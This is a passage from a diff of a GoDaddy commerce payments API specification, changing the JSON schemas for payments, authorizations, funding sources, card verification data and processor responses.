"type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } + }, + "title": "PaymentContext", + "type": "object" } ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "required": [ - "type" - ] + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ + }, + "title": "Card Processor Response", + "type": "object" + }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "required": [ - "type" - ] + "title": "Card Processor Response", + "type": "object" } - } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" } ], "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true + "processorType": { + "type": "string" } }, "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, - "properties": { - "sourceType": { + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", "type": "string", - "description": "Discriminator field representing the type of Funding source" + "x-custom-refnum": true, + "x-custom-type": true } }, "required": [ - "sourceType" - ] - }, - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" } - } + ], + "description": "Represents authorization transaction against a payment", + "title": "Authorization Transaction", + "type": "object", + "x-generic-type": "Transaction" }, - "readOnly": true, - "description": "Refunds for the payment" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "updatedAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Last updated time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - }, - "additionalProcessingInstruction": { - "description": "Processing instruction", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Processing Instruction", - "type": "object", - "properties": { - "authOnly": { - "type": "boolean", - "default": false, - "writeOnly": true, - "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment" - }, - "partialAuthEnabled": { - "type": "boolean", - "default": true, - "writeOnly": true, - "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment" - } - } - }, - "externalProcessor": { - "type": "string", - "description": "Processor that has already processed this payment externally" + "type": "array" } }, - "required": [ - "type", - "amount", - "fundingSource", - "createdAt" - ] + "title": "Authorizations" } } }, "scopes": [ + "urn:godaddy:services:commerce:payments:read", "urn:godaddy:services:commerce:payments:read-write" ] }, { - "operationId": "getPayments", + "operationId": "getAuthorizationById", "method": "GET", - "path": "/stores/{storeId}/payments", - "summary": "Get Payments", + "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}", + "summary": "Get Authorization", + "description": "Retrieve the information of the authorization by the transaction ID.", "parameters": [ { "name": "storeId", "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } - }, - { - "name": "page", - "in": "query", - "required": false, + }, + { + "name": "paymentId", + "in": "path", + "required": true, "schema": { - "type": "integer", - "default": 1 + "$ref": "./types/Id.yaml" } }, { - "name": "pageSize", - "in": "query", - "required": false, + "name": "transactionId", + "in": "path", + "required": true, "schema": { - "type": "integer", - "default": 10 + "$ref": "./types/Id.yaml" } }, { - "name": "totalRequired", - "in": "query", + "name": "Request Id", + "in": "header", "required": false, "schema": { - "type": "boolean", - "default": false + "format": "uuid", + "type": "string" } } ], "responses": { "200": { - "description": "Payments list", + "description": "Authorization Found", "schema": { - "title": "PaymentList", - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment", - "type": "object", - "x-tags": [ - "transaction", - "payments" - ], - "x-generic-type": "Payment", - "description": "A monetary transfer of funds from a funding source to the recipient merchant", - "properties": { - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "refNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "type": { - "$id": "https://godaddy.com/schemas/commerce/payment/type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Type", - "type": "string", - "enum": [ - "AUTHORIZATION", - "SALE", - "REFUND" - ], - "description": "Payment type" - }, - "amount": { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } + "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "required": [ - "total", - "currency" - ], - "description": "Payment amount requested" + "propertyName": "amountType" }, - "netAmount": { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ], - "description": "Current net payment amount" - }, - "fundingSource": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 